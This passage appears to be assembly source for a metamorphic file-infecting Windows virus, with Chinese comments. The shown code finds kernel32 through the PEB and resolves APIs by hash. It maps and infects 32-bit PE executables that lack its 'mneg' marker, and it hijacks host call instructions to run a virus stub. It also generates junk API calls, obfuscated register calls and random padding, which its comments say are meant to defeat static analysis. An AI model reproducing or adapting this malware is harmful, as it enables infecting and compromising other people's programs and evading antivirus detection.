----------------- gdi32 ------------------------- mov eax,offset gdi_start - offset v_code cmp [ebp].self_reloc,0 jnz @f ;add eax,dLen ;add eax,[ebp].infect_imagebase ;add eax,[ebp].infect_pe_old_eop mov eax,offset gdi_start jmp _sg @@: add eax,[ebp].infect_imagebase add eax,[ebp].self_cur_rva_vir_start add eax,stub_size ;加上修正stub头的偏移 _sg: mov [ebp].gd_safe_api,eax mov [ebp].gd_safe_size,(offset gdi_end - offset gdi_start) /sizeof SAFE_APIS_STRUCT pop eax ret my_init_safe_api endp ;获得safe api 地址 my_safe_api_address proc assume ebp:ptr GEN_VIR_STRUCT call my_init_safe_api xor ecx,ecx ;safe apis 的大类,目前支持4大类,计数从0 ~ 3 。 s_loop: cmp ecx,3 ;host 可能不导入ws,故屏蔽 jz @f mov edi,ecx ;保持ecx值 push ecx ;索引 cmp ecx,0 jz ke cmp ecx,1 jz us cmp ecx,2 jz gd ;cmp ecx,3 ;jz ws ke: push [ebp].ke_safe_api ;safe api 地址 push [ebp].ke_safe_size;safe api 个数 jmp _cal us: push [ebp].us_safe_api ;safe api 地址 push [ebp].us_safe_size;safe api 个数 jmp _cal gd: push [ebp].gd_safe_api ;safe api 地址 push [ebp].gd_safe_size;safe api 个数 ;ws: ; push [ebp].ws_safe_api ;safe api 地址 ; push [ebp].ws_safe_size;safe api 个数 ; jmp _cal _cal: call set_safe_api add esp,4 * 3 ;恢复堆栈 mov ecx,edi ;恢复ecx值 inc ecx jmp s_loop @@: ret my_safe_api_address endp ;获得指定模块的safe api 地址 ;___in p1 -- 个数 ;___in p2 -- safe api 地址 ;___in p3 -- 索引 set_safe_api proc assume ebp : ptr GEN_VIR_STRUCT cmp byte ptr [esp + 4 * 3],0; 取索引,如果kernel32.dll jz _ke ;load kernel32.dll cmp byte ptr [esp + 4 * 3],1; 取索引,如果user32.dll jz _us cmp byte ptr [esp + 4 * 3],2; 取索引,如果ws2_32.dll jz _gdi ;cmp byte ptr [esp + 4 * 3],3; 取索引,如果gdi32.dll ;jz _ws2 jmp _s_exit _ke: call @f db 'kernel32.dll',0 ;对抗静态分析 @@: call [ebp].aLoadLibrary ;设置地址 jmp _s_set _us: call @f db 'user32.dll',0 ;对抗静态分析 @@: call [ebp].aLoadLibrary ;设置地址 jmp _s_set ;_ws2: ; call @f ; db 'ws2_32.dll',0 ;对抗静态分析 ;@@: ; call [ebp].aLoadLibrary ;设置地址 ; jmp _s_set _gdi: call @f db 'gdi32.dll',0 ;对抗静态分析 @@: call [ebp].aLoadLibrary ;设置地址 jmp _s_set _s_set: ;push [esp + 4 * 2] ; safe api 地址 ;push [esp + 4 * 1] ; safe api 个数 call my_module_safe_api _s_exit: ret set_safe_api endp ;设置模块的safe api 地址 ;___in eax -- 指向要导出的模块首地址 ;___in p1 -- 个数 ;___in p2 -- safe api 地址 my_module_safe_api proc mov ecx,dword ptr [esp + 4 * 2]; 获得要处理的module的个数 mov ebx,dword ptr [esp + 4 * 3]; 获得要处理的module首地址crc32 mov edx,eax ; 保持模块首地址 @@: cmp ecx,0 ; 是否处理完毕 jz _m_exit push [ebx] ; crc32 值 push eax ; 要导出的模块的首地址 call my_get_a_apis_addr test eax,eax jz _m_exit ;mov [ebx],eax ;存储到crc32值处,因为已经取得了该safe api 的值,原有crc32值可以不管了。 mov [ebx + 4*2],edx ; 写入新的成员变量中,否则导致三次感染失败 add ebx,4 * 3 ;跳到下一项 dec ecx mov eax,edx ;恢复一下模块首地址 jmp @b _m_exit: ret my_module_safe_api endp ;-------------------------------------------------------------------------------------------------------- ;|gm_get_k32_address.inc | ;-------------------------------------------------------------------------------------------------------- ;获得kernel32 基址 (3) my_get_k32_base_addr proc assume fs:nothing call my_restore_ctx_to_rgs cmp [ebp].vir_cur_exec_dna,1 jnz k_exit ;设置要当前执行的DNA序列2step mov [ebp].vir_cur_exec_dna,2 pushad cld xor edx, edx mov edx, fs:[edx+30h] mov edx, [edx+0Ch] mov edx, [edx+14h] next_mod: mov esi, [edx+28h] mov ecx, 24 xor edi, edi loop_modname: xor eax, eax lodsb cmp al, 'a' jl not_lowercase sub al, 20h not_lowercase: ror edi, 13 add edi, eax loop loop_modname cmp edi, 6A4ABC5Bh mov ebx, [edx+10h] mov edx, [edx] jne next_mod mov dword ptr[esp + 1ch],ebx ;写到保存到堆栈中eax位置 popad ;保存寄存器到virus vrg ;设定ebp的值 ;push eax ;mov eax,offset vir_vars ;add ebp,eax ;pop eax call my_save_rgs_to_ctx k_exit: ret my_get_k32_base_addr endp ;-------------------------------------------------------------------------------------------------------- ;|gm_get_apis_address.inc | ;-------------------------------------------------------------------------------------------------------- ;获得需要api地址 (4) my_get_apis_addr proc call my_restore_ctx_to_rgs cmp [ebp].vir_cur_exec_dna,2 jnz @e ;设置要当前执行的DNA序列 3 step mov [ebp].vir_cur_exec_dna,3 push 0 push 09D6231CEh ; SetCurrentDirectoryW push 02519B15Ah ; SetEndOfFile push 0EFC7EA74h ; SetFilePointer push 0c97c1fffh ; GetProcAddress push 02B0B47A5h ; OutputDebugStringA push 0A7FB4165h ; GetFileSize push 0251097CCh ; ExitProcess push 0391AB6AFh ; UnmapViewOfFile push 0A89B382Fh ; MapViewOfFile push 0B41B926Ch ; CreateFileMappingA ; problem push 0553B5C78h ; CreateFileA push 0D82BF69Ah ; FindClose push 075272948h ; FindNextFileA push 0C9EBD5CEh ; FindFirstFileA push 072F11E39h ; MultiByteToWideChar push 0334971B2h ; GetCurrentDirectoryW push 0B09315F4h ; CloseHandle push 03FC1BD8Dh ; LoadLibraryA ; problem ;mov edx,offset vir_vars ;add edx,ebp mov ebx,eax ; 给ebx 赋值 kernel32 基址 xor ecx,ecx get_apis_loop: cmp dword ptr [esp],0 je get_end push ebx call my_get_a_apis_addr test eax,eax jnz @f jmp fail @@: mov dword ptr [ebp + ecx], eax add ecx,4 jmp get_apis_loop fail: mov eax,0 get_end: pop eax call my_save_rgs_to_ctx @e: ret ;不能返回,否则堆栈不平衡。 my_get_apis_addr endp ;-------------------------------------------------------------------------------------------------------- ;|gm_get_a_api_address.inc | ;-------------------------------------------------------------------------------------------------------- ;获得指定的一个api(5) my_get_a_apis_addr proc pusha mov ebx, [esp+4+16] get_export_base: mov ecx, dword ptr[ebx+3Ch] ; .mz_neptr mov ecx, dword ptr[ecx+ebx+78h] ; ECX=export va jecxz @return_0 ; .pe_exporttablerva add ecx, ebx xor esi, esi ; current index @search_cycle: lea edx, [esi*4+ebx] add edx, [ecx+20h] ; .ex_namepointersrva mov edx, [edx] ; name va add edx, ebx ; +imagebase push esi mov esi, edx call my_strlen add edx, eax call my_crc32 pop esi cmp eax, [esp+8+32] ; compare hashs je @name_found inc esi ; index++ cmp esi, [ecx+18h] ; .ex_numofnamepointers jb @search_cycle @return_0: xor eax, eax ; return 0 jmp @return @name_found: mov edx, [ecx+24h] ; .ex_ordinaltablerva add edx, ebx ; +imagebase movzx edx, word ptr [edx+esi*2] ; edx=current ordinal mov eax, [ecx+1Ch] ; .ex_addresstablerva add eax, ebx ; +imagebase mov eax, dword ptr [eax+edx*4] ; eax=current address add eax, ebx ; +imagebase @return: mov [esp+1Ch], eax ; popa.eax popa clc retn 8 my_get_a_apis_addr endp ;-------------------------------------------------------------------------------------------------------- ;|gm_gen_and_proc_code.inc | ;-------------------------------------------------------------------------------------------------------- ;混淆宿主和病毒代码 ;___in esi -> 宿主程序入口点 ;___in ebx -> 要修改的宿主程序索引 ;___in ecx -> 每次查找到的jump /call 的指令长度 ;___in edi -> alloc 的buf,目前是直接写内存映射的地址 ;___out eax -> 经过混淆点alloc buff my_gen_and_proc_code proc assume ebp:ptr GEN_VIR_STRUCT push edi ; 保存alloc位置,用于填充完毕混淆代码后,计算填充垃圾数据(目前用第一个宿主call off + 随机的一个位置开始的数据填充)的地方; push esi ; 保存宿主的位置 xor ebx,ebx ; 当作当前要修改的宿主索引 mov [ebp].hook_host_ins_len,0 ; 初始化要hook 的指令长度为0,以后每次增加一次hook后的长度 @@: cmp ebx,dword ptr [ebp].vir_dna_table ; 取基因函数表首地址记录基因函数的个数,0是该表的结束位置 jz _fill ; 已经替换完所有的宿主入口,填充剩余空间 ;add esi,[ebp].hook_host_ins_len ; 累加上次分析的指令长度 ;call my_find_jump_or_call ; eax 指向查找到的一个宿主call/jump call my_find_jump_or_call2 test eax,eax jz _exit push ebx ; 保存ebx值 call my_garble_code pop ebx ; 恢复ebx inc ebx jmp @b _fill: pop edx ;获得原esi,宿主最开始的call pop ebx ;获得原edi,最开始alloc的位置 xchg ebx,eax push edi sub edi,eax ;使用空间 push edx ;保存一下edx,指向宿主的位置 mov edx,edi ;保存已经使用的空间 mov ecx,stub_size ;stub 的总大小 sub ecx,edi ;剩余填充的空间大小size,一般的使用空间能达到0xcf ~ 0x400 cmp ecx,10h ;产生一个比剩余空间小10h的随机大小 jl @f sub ecx,10h @@: mov eax,ecx call rand ;获得一个随机的0 ~ 剩余空间 mov ecx,eax ;设置一个0 ~ 剩余空间进行填充 add edx,ecx mov [ebp].alloc_stub_rand_size,edx;保留填充stub的空间size pop edx ;恢复执行宿主的位置 pop edi mov eax,30h ;随机的一个开始位置 call rand add edx,eax mov esi,edx rep movsb ;填充 ;剩余部分用垃圾数据填充 xor ecx,ecx mov ecx,stub_size; sub ecx,[ebp].alloc_stub_rand_size _w: mov eax,0ffh call rand stosb dec ecx jnz _w _normal_exit: ret _exit: pop esi pop edi ret my_gen_and_proc_code endp ;-------------------------------------------------------------------; ; ; ;构造一个病毒的随机大小空间 ; ;__in null ; ;__out eax 0 fail ; ; else alloc buff ; ;-------------------------------------------------------------------; my_alloc_virus_body proc assume ebp:ptr GEN_VIR_STRUCT call init_rand_seed mov eax,stub_size ; 随机感染的内存空间值 call rand add eax,1000h ; 加上基本感染的内存空间值 mov [ebp].alloc_size,eax call AllocateMem jz @f mov [ebp].alloc_buf,eax ;保存这段空间值 @@: ret my_alloc_virus_body endp ;-------------------------------------------------------------------; ; ; ;释放一个病毒随机大小空间 ; ;-------------------------------------------------------------------; my_free_virus_body proc assume ebp : ptr GEN_VIR_STRUCT mov eax,[ebp].alloc_buf mov ecx,[ebp].alloc_size call FreeMem ret my_free_virus_body endp ;-------------------------------------------------------------------; ; ; ;和宿主/safe api/构造一段遗传代码 ; ;-------------------------------------------------------------------; ;__in ebx -- 基因函数的索引 ;__in eax -- 指向宿主程序一个call/jump ;__in ebp -- 指向病毒变量 ;__in edi -- 指向alloc buff or 内存映射 my_garble_code proc ;该函数仅完成stub部分 ;1 构造一个随机参数,范围[0~3),用来选择宿主的call-jump / safe api / virus_DNA ;2 经感染的数据分为4部分空间 ;+--------------------------------+ ;|宿主call-jump/safe api/vir_DNA | --》stub ;| | ;+--------------------------------+ ;| | --》body ;| metamorphism code | ;+--------------------------------+ ;| | --》en_data ;| encrypt data | ;+--------------------------------+ ;| random garbage data | --》garbage ;+--------------------------------+ ;3 设定stub 为0x500byte + 随机大小(0x50) ;4 body 为virus 自身变形的代码 ;5 后面是随机的垃圾数据,用来保证每次感染产生大小不一的体积 assume ebp : ptr GEN_VIR_STRUCT mov eax,3 call rand cmp eax,0 ;vir_DNA jz f_DNA cmp eax,1 ;safe api jz f_s_a cmp eax,2 jz f_host f_DNA: mov [ebp].section_stub_edi_off,edi call is_pop_call_addr call _pushad call v_DNA call safe_api call _popad call host_p jmp @f f_s_a: mov [ebp].section_stub_edi_off,edi call is_pop_call_addr call _pushad call safe_api call _popad call host_p call _pushad call v_DNA call _popad jmp @f f_host: mov [ebp].section_stub_edi_off,edi call is_pop_call_addr call host_p call _pushad call safe_api call v_DNA call _popad jmp @f _pushad: ;保存当前环境,主要是宿主 mov byte ptr[edi],060h inc edi ret _popad: ;恢复当前环境,主要是宿主 mov byte ptr[edi],061h inc edi ret v_DNA: ; 率先读取virus自身的寄存器组,目前没有添加垃圾指令 ;call generator_read_ctx_reg ; 只要计算DNA函数相对v_code 的距离+当前地址据0x500的差值 - 5 = dif ; 指向DNA函数的行对v_code的偏移 lea eax,dword ptr [ebp].vir_dna_offset ; 获得vir_DNA_offset 起始地址 imul ebx,4 ; 所引是0 ~ 7,乘以4定位到具体的偏移位置 add eax,ebx mov eax,[eax] ;用当前edi相对于500的偏移+eax,即可得到call DNA 的具体位置 push ebx mov ebx,stub_size add ebx,[ebp].infect_image_start sub ebx,edi add eax,ebx sub eax,5 pop ebx mov byte ptr [edi],0e8h ; 写入一个call inc edi mov dword ptr[edi],eax ; 写入要跳向的地方 add edi,4 ; 目标地址空出处5字节 mov eax,[ebp].total_hook_ins_off ;恢复指向宿主的偏移 ;恢复host的寄存器,popad ;mov byte ptr[edi],061h ;inc edi ret safe_api: ;此处还有一种思路是,随机的两个s-a 之间,再插入变形垃圾指令。 ;但为了不产生过多特异性,目前版本,不使用该方式 push ebx mov eax,3 call rand cmp eax,0 jz _ke cmp eax,1 jz _us cmp eax,2 jz _gd jmp _err_1 _ke: mov eax,s_a_len ; 每次产生3个s_a 的调用,当然还可以产生更多 call rand inc eax ; 至少产生一个 mov [ebp].sa_rand_cnt,eax ; 保存本次产生s-a 数量 mov ebx,[ebp].ke_safe_size mov [ebp].sa_mod_rand_size,ebx mov ebx,[ebp].ke_safe_api mov [ebp].sa_mod_rand_address,ebx call insert_s_a pop ebx ret _us: mov eax,s_a_len ; 每次产生3个s_a 的调用 ,当然还可以产生更多 call rand inc eax ; 至少产生一个 mov [ebp].sa_rand_cnt,eax ; 保存本次产生s-a 数量 mov ebx,[ebp].us_safe_size mov [ebp].sa_mod_rand_size,ebx mov ebx,[ebp].us_safe_api mov [ebp].sa_mod_rand_address,ebx call insert_s_a pop ebx ret _gd: mov eax,s_a_len ; 每次产生3个s_a 的调用 ,当然还可以产生更多 call rand inc eax ; 至少产生一个 mov [ebp].sa_rand_cnt,eax ; 保存本次产生s-a 数量 mov ebx,[ebp].gd_safe_size mov [ebp].sa_mod_rand_size,ebx mov ebx,[ebp].gd_safe_api mov [ebp].sa_mod_rand_address,ebx call insert_s_a pop ebx ret host_p: mov ecx,[ebp].total_hook_ins_len mov esi,[ebp].total_hook_ins_off ;---------------------------------------------------- copy host 代码到virus stub ------------------------------------------------ rep movsd ;直接复制原宿主的代码 ;mov byte ptr[edi],060h ;inc edi call fix_host_call_addr ret ;如果hook的host大于5字节,则弹出堆栈地址,在后面的情况下直接跳出,否则不做任何操作 is_pop_call_addr: cmp [ebp].total_hook_ins_len,5 jz _is_end ;产生一个add esp,4 mov word ptr[edi],0c483h inc edi inc edi mov byte ptr[edi],04h inc edi _is_end: ret fix_host_call_addr: ;-----------------------------------------------------1改写host代码为call xxx ---------------------------------------------------- ;定位要修改的host位置写入call 0xe8 ;0xe8 情况 ;1 对于宿主的重定位修正,例如加载到内存的宿主入口 ;00401000 c>/$ E8 25000000 call ctester.0040102A ;00401005 |. E8 34000000 call ctester.0040103E ;2 host对应内存映射到情况 ;00030400 E8 25000000 call 0003042A ;00030405 E8 34000000 call 0003043E ;3要修正的重定位的位置,假设为30A06 ;00030A00 0000 add byte ptr ds:[eax],al ;00030A02 0000 add byte ptr ds:[eax],al ;00030A04 0000 add byte ptr ds:[eax],al ;00030A06 0000 add byte ptr ds:[eax],al ;4 30400 ->(RawToVa) --> 401000 ;5 401000 + 25 + 5 --> pos = 40102A ;6 计算Y = 宿主的imagebase + 当前加载到内存的虚拟地址 + (当前前要写入的位置 - 映射感染部分的首地址) ; Y = 0x00400000 + 0x4000 + (0x30A06 - 0x30A00) ; Y = 0x00404006 ;7 dif = pos - y - 5 ; dif = 40102A - 404006 - 5 ;8 写入30A06的位置,e8,FFFFD01F 即可 ;获得宿主的虚拟地址va push eax mov esi,[ebp].total_hook_ins_off mov eax,esi call RawToVa push ebx ;stub 的虚拟地址 mov ebx,[ebp].infect_imagebase ;host 的imagebase add ebx,[ebp].infect_pe_new_eip ;感染的节所在的虚拟地址,也就是在不进行oep时的新的eop ;加上当前的相对偏移 add ebx,[ebp].section_stub_edi_off sub ebx,[ebp].infect_image_start; 得到当前的虚拟地址 sub ebx,eax sub ebx,5 ;计算dif mov eax,ebx pop ebx mov byte ptr[esi],0e8h inc esi mov dword ptr [esi],eax pop eax mov esi,[ebp].total_hook_ins_off add esi,[ebp].total_hook_ins_len ret @@: ;检测host 在被修改为call 后,是否有剩余空间,如果有则跳转回正确的下一条只看位置 ;1) ori mov r,r ; cmp r,xxx --------\>hook call virus section ; ----------------- | ;/--->... | ;| |-----------------|<------/ ;| | ... | ;\----|jmp/ret | ;2) 没有剩余空间,那么直接写入ret指令即可 ;3) 有剩余空间,那么天然的产生了垃圾指令,修正virus stub 部分,让virus stub跳回正确的地方,但要修正此时的堆栈esp+4 cmp [ebp].total_hook_ins_len,5 ;--------------情况2------------------------------- jz _2 ;产生jmp host mov eax,[ebp].total_hook_ins_off add eax,[ebp].total_hook_ins_len call RawToVa ;得到当前的虚拟地址 mov ebx,[ebp].infect_imagebase ;host 的imagebase add ebx,[ebp].infect_pe_new_eip ;感染的节所在的虚拟地址,也就是在不进行oep时的新的eop ;加上当前的相对偏移 add ebx,edi sub ebx,[ebp].infect_image_start; 得到当前的虚拟地址 sub eax,ebx sub eax,5 mov byte ptr[edi],0e9h inc edi mov dword ptr[edi],eax add edi,4 ;剩余部分产生垃圾数据 jmp _err_1 _2: mov byte ptr[edi],0c3h ;直接写入返回即可 inc edi _err_1: ;产生垃圾指令混淆静态检测 push eax push ecx mov eax,20h call rand add eax,10 mov ecx,eax ;产生至少10长度垃圾数据 _w: mov eax,0ffh call rand stosb dec ecx jnz _w pop ecx pop eax ret my_garble_code endp ;___in push 本次要产生的随机s-a数据 ;___in edi 指向要分配的buff insert_s_a proc mov ecx,[ebp].sa_rand_cnt; ;inc ecx; 防止当随机产生0时,加1,构成一次循环 _1: mov eax,[ebp].sa_mod_rand_size ; 从0 ~ safe_size 范围选择 call rand imul eax,4 * 3 ; 乘以8 ,一项里面包含两个元素,各占4字节 add eax,[ebp].sa_mod_rand_address ;加4获得api参数个数 mov ebx,[eax + 4]; call insert_push_param ; 插入s_a参数 ;加入call mov byte ptr[edi],0e8h ; 插入一个call inc edi mov dword ptr[edi],ebx ; 插入要call xxxxxxxx 地址,注意此处地址为进行重定位修正 ;新加入测试 mov ebx,[eax + 8] ;取地址 mov eax,edi mov eax,[ebp].infect_imagebase ;host 的imagebase add eax,[ebp].infect_pe_new_eip ;感染的节所在的虚拟地址,也就是在不进行oep时的新的eop ;加上当前的相对偏移 add eax,edi sub eax,[ebp].infect_image_start; 得到当前的虚拟地址 sub ebx,eax ;计算dif sub ebx,5 inc edi mov dword ptr[edi],ebx add edi,4 mov ebx,[eax + 8] ;取地址 call fake_call loop _1 ret insert_s_a endp ;__in edi --- 指向目标buff ;__in ebx --- safe-api 地址 fake_call proc assume ebp:ptr GEN_VIR_STRUCT mov eax,8 call get_free_reg mov byte ptr[ebp].vir_tmp2,al ;产生6种随机数算法(add sub not neg rol ror) mov eax,6 call rand cmp eax,0 jz f_add cmp eax,1 jz f_sub cmp eax,2 jz f_not cmp eax,3 jz f_neg cmp eax,4 jz f_rol cmp eax,5 jz f_ror f_add: ;--> mov Rx,xxxx mov al,byte ptr[ebp].vir_tmp2 add eax,0b8h mov byte ptr[edi],al inc edi mov eax,0ffffffffh call rand mov dword ptr[edi],eax add edi,4 sub ebx,eax ;差值 ;产生一个add Rx,yyyyy xor eax,eax mov ax,word ptr[ebp].vir_tmp2 rol ax,8 add eax,0c081h ;---> add Rx mov word ptr[edi],ax inc edi inc edi mov dword ptr[edi],ebx add edi,4 xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d0ffh ;---> call Rx call fake_rnd_obf_call ;mov word ptr[edi],ax ;inc edi ;inc edi jmp f_end f_sub: ;--> mov Rx,xxxx mov al,byte ptr[ebp].vir_tmp2 add eax,0b8h mov byte ptr[edi],al inc edi mov eax,0ffffffffh call rand mov dword ptr[edi],eax add edi,4 sub eax,ebx ;和值 xchg eax,ebx ;ebx -- yyyy xor eax,eax mov ax,word ptr[ebp].vir_tmp2 rol ax,8 add eax,0e881h ; ---> sub Rx mov word ptr[edi],ax inc edi inc edi mov dword ptr[edi],ebx add edi,4 xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d0ffh ;---> call Rx call fake_rnd_obf_call ;mov word ptr[edi],ax ;inc edi ;inc edi jmp f_end f_not: mov al,byte ptr[ebp].vir_tmp2 add eax,0b8h not ebx mov byte ptr[edi],al inc edi mov dword ptr[edi],ebx add edi,4 xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d0f7h mov word ptr[edi],ax add edi,2 mov dword ptr[edi],ebx xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d0ffh ;---> call Rx call fake_rnd_obf_call ;mov word ptr[edi],ax ;inc edi ;inc edi jmp f_end f_neg: mov al,byte ptr[ebp].vir_tmp2 add eax,0b8h not ebx mov byte ptr[edi],al inc edi mov dword ptr[edi],ebx add edi,4 xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d8f7h mov word ptr[edi],ax add edi,2 mov dword ptr[edi],ebx xor eax,eax mov al,byte ptr[ebp].vir_tmp2 add al,48h mov byte ptr[edi],al inc edi xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d0ffh ;---> call Rx call fake_rnd_obf_call ;mov word ptr[edi],ax ;inc edi ;inc edi jmp f_end f_rol: mov al,byte ptr[ebp].vir_tmp2 add eax,0b8h mov byte ptr[edi],al inc edi push ecx mov eax,30 call rand mov ecx,eax ror ebx,cl mov dword ptr[edi],ebx add edi,4 xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0c0c1h mov word ptr[edi],ax add edi,2 mov byte ptr[edi],cl inc edi pop ecx xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d0ffh ;---> call Rx ;mov word ptr[edi],ax ;inc edi ;inc edi call fake_rnd_obf_call jmp f_end f_ror: mov al,byte ptr[ebp].vir_tmp2 add eax,0b8h mov byte ptr[edi],al inc edi push ecx mov eax,30 call rand mov ecx,eax rol ebx,cl mov dword ptr[edi],ebx add edi,4 xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0c8c1h mov word ptr[edi],ax add edi,2 mov byte ptr[edi],cl inc edi pop ecx xor eax,eax mov al,byte ptr[ebp].vir_tmp2 rol ax,8 add ax,0d0ffh ;---> call Rx call fake_rnd_obf_call ;mov word ptr[edi],ax ;inc edi ;inc edi f_end: ret fake_call endp ;__in ax --> 当前要搞的寄存器 ;__in edi --> 要写入的目的地址 c_call_rx proc mov word ptr[edi],ax inc edi inc edi ret c_call_rx endp ;__in ax --> 当前要搞的寄存器 ;__in edi --> 要写入的目的地址 c_call_self proc push ebx xor ebx,ebx mov bl,byte ptr[ebp].vir_tmp2 ;使用另一个寄存器 dec bl cmp bl,0ffh jz fix cmp bl,5 jz fix jmp @f fix: add bl,2 @@: add bl,0b8h ;mov Rx,xxxxxxx -->|BA FFD0EB02| --> mov Rx,call Ry,jmp next mov byte ptr[edi],bl ;mov Rx inc edi mov word ptr[edi],ax ;call Ry inc edi inc edi mov word ptr[edi],02ebh ; jmp next inc edi inc edi mov word ptr[edi],0faebh; jmp fore inc edi inc edi pop ebx ret c_call_self endp ;__in ax --> 当前要搞的寄存器 ;__in edi --> 要写入的目的地址 c_call_esp proc push ebx xor ebx,ebx mov bl,byte ptr[ebp].vir_tmp2 add bl,050h mov byte ptr[edi],bl inc edi mov word ptr[edi],14ffh inc edi inc edi mov byte ptr[edi],24h inc edi ;因为该方式堆栈不平衡,故弹出一个dword mov bl,byte ptr[ebp].vir_tmp2 add bl,58h mov byte ptr[edi],bl inc edi pop ebx ret c_call_esp endp ;__in ax -->当前要call寄存器的指令 0xd?ff fake_rnd_obf_call proc push eax mov eax,3 call rand cmp eax,0 jz call_Rx cmp eax,1 jz call_self cmp eax,2 jz call_esp call_Rx: pop eax call c_call_rx jmp @f call_self: pop eax call c_call_self jmp @f call_esp: pop eax call c_call_esp @@: ret fake_rnd_obf_call endp ;获得一个非ebp ,esp 的寄存器 get_free_reg proc s: mov eax,8 call rand cmp eax,4 jz s cmp eax,5 jz s ret get_free_reg endp ; __in edi -- 指向目标buff ; __in ebx -- 参数个数 insert_push_param proc cmp ebx,0 push eax ;保存eax,指向s-a的地址 jz _1 ;产生一个合法的仿真参数 ;@1 产生一个合法的地址参数,0 ~ 1000h 随机数字+ 0x401000 基址 ;@2 产生一个1000h 的整数,仿真句柄 ;@3 产生一个400000h ~ 4002000h ;@4 产生一个80000000h的数字 ,不能产生过大数字,AddAtomA 不接受 ;@5 产生一个数字0 ~ 10 ;@6 产生一个0 ;@7 push eax ;@8 push ebx ;@9 lea eax,[eax+ecx] push eax ;@a push edi ;@b lea edx [edi+esi] push edx; ;... @@: mov eax,0bh ; 随机产生11种仿真合法参数类型,还可有更多, call rand cmp eax,0 jz t_0 cmp eax,1 jz t_1 cmp eax,2 jz t_2 cmp eax,3 jz t_3 cmp eax,4 jz t_4 cmp eax,5 jz t_5 cmp eax,6 jz t_6 cmp eax,7 jz t_7 cmp eax,8 jz t_8 cmp eax,9 jz t_9 cmp eax,0ah jz t_a t_0: mov eax,1000h ;为了产生一个合法的地址参数,该随机数字 + 0x401000 基址 call rand add eax,401000h jmp _3 t_1: mov eax,1000h ;仿真的句柄 call rand jmp _3 t_2: mov eax, 400000h ;随机进程空间 call rand push ebx mov ebx,eax mov eax,002000h; call rand add eax,ebx pop ebx jmp _3 t_3: mov eax, 100h; call rand ;add eax,080000000h ;80000000h的数字 jmp _3 t_4: mov eax,10 call rand jmp _3 t_5: mov eax,0 jmp _3 t_6: mov byte ptr[edi],50h ; 产生一个push eax inc edi jmp _2 t_7: mov byte ptr[edi],53h ; 产生一个push ebx inc edi jmp _2 t_8: mov word ptr[edi],048dh ;产生一个 lea,eax [eax+ecx] ,push eax inc edi inc edi mov word ptr[edi],5008h inc edi inc edi jmp _2 t_9: mov byte ptr[edi],57h; push edi inc edi jmp _2 t_a: mov word ptr[edi],0148dh ;lea edx,[esi+edi] , push edx inc edi inc edi mov word ptr[edi],523eh ;push edx inc edi inc edi jmp _2 _3: mov byte ptr[edi],68h ; 产生一个push inc edi stosd _2: dec ebx test ebx,ebx jg @b _1: pop eax ret insert_push_param endp ;-------------------------------------------------------------------------------------------------------- ;|gm_fix_file.inc | ;-------------------------------------------------------------------------------------------------------- ;打开一个指定文件 my_open_file proc assume ebp:ptr GEN_VIR_STRUCT mov ebx,eax ; 保留要感染的宿主文件名称 mov [ebp].infect_filename,eax xor eax,eax ;打开文件 push 0 push 0 push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_WRITE OR GENERIC_READ push ebx call dword ptr [ebp].aCreateFile inc eax je err_open_file dec eax mov [ebp].infect_file_hd,eax;保留要感染的文件句柄 xor ebx,ebx push ebx push eax call [ebp].aGetFileSize ; 获得要感染的文件大小 inc eax je err_close_handle dec eax mov [ebp].infect_file_size,eax;保留要感染的文件大小 xchg eax,ecx xor ebx,ebx push ebx push ecx push ebx push PAGE_READWRITE push ebx push [ebp].infect_file_hd call [ebp].aCreateFileMapping ;创建文件映射 test eax,eax je err_close_handle mov [ebp].infect_hmap,eax ; 保持要感染的文件的内存映射句柄 xor ebx,ebx push ebx push ebx push ebx push FILE_MAP_WRITE push eax call [ebp].aMapViewOfFile ; 获得要感染文件的映射的buff test eax,eax je err_close_handle mov [ebp].infect_hMem,eax call check_pe_invalid2 cmp eax,0 jz un_map_file call unmap_file; 关闭一下上次的句柄,扩大文件size 进行感染 mov ecx,dword ptr [ebp].infect_file_size call infect_2 un_map_file: call unmap_file; err_close_handle: push [ebp].infect_file_hd call [ebp].aCloseHandle err_open_file: ret my_open_file endp ;检测被感染的文件合法性 check_pe_invalid proc xchg eax,esi cmp word ptr[esi],'ZM' jne not_infect add esi,[esi + 3ch] ;指向PE头部 cmp word ptr[esi],'EP' jne not_infect cmp dword ptr[esi + 8],'mneg' ;检测感染标志 je not_infect xor eax,eax inc eax ; 可以感染 ret not_infect: xor eax,eax ;// 不可以感染 ret check_pe_invalid endp ;---------------------------------------------------------------------------; ; 检测被感染的文件合法性 ; ;---------------------------------------------------------------------------; ;__in : eax = ptr mapped image ;__out : eax = 1 可以感染 ; eax = 0 不能感染 check_pe_invalid2 proc cmp word ptr [eax],'ZM' jne bad_file add eax,dword ptr [eax + 3ch] cmp word ptr [eax],'EP' jne bad_file add eax,4 assume eax:ptr IMAGE_FILE_HEADER ;感染标志 cmp dword ptr[eax + 4],'mneg' ;检测感染标志 je bad_file ;检测节空间大小是否足够 push eax call is_section_space test eax,eax pop eax jz bad_file ; machine type 386+ cmp [eax].Machine,IMAGE_FILE_MACHINE_I386 jne bad_file ; is dll ? mov bx,[eax].Characteristics cmp bh,IMAGE_FILE_DLL shr 8 je bad_file ; is 32bit executable image ?? mov bx,[eax].Characteristics and bx,IMAGE_FILE_EXECUTABLE_IMAGE OR IMAGE_FILE_32BIT_MACHINE cmp bx,IMAGE_FILE_EXECUTABLE_IMAGE OR IMAGE_FILE_32BIT_MACHINE jne bad_file xor ebx,ebx mov bx,word ptr [eax + 2] ; number of sections mov dword ptr [ebp].number_of_sect,ebx xor ebx,ebx mov bx,word ptr [eax].SizeOfOptionalHeader add eax,sizeof IMAGE_FILE_HEADER mov dword ptr [ebp].ptr_opt_header,eax cmp dword ptr [eax + 128],0 jne bad_file ; contains security directory ;获得节对齐属性 mov ecx,dword ptr [ebp].ptr_opt_header mov ecx,[ecx + 24h] mov dword 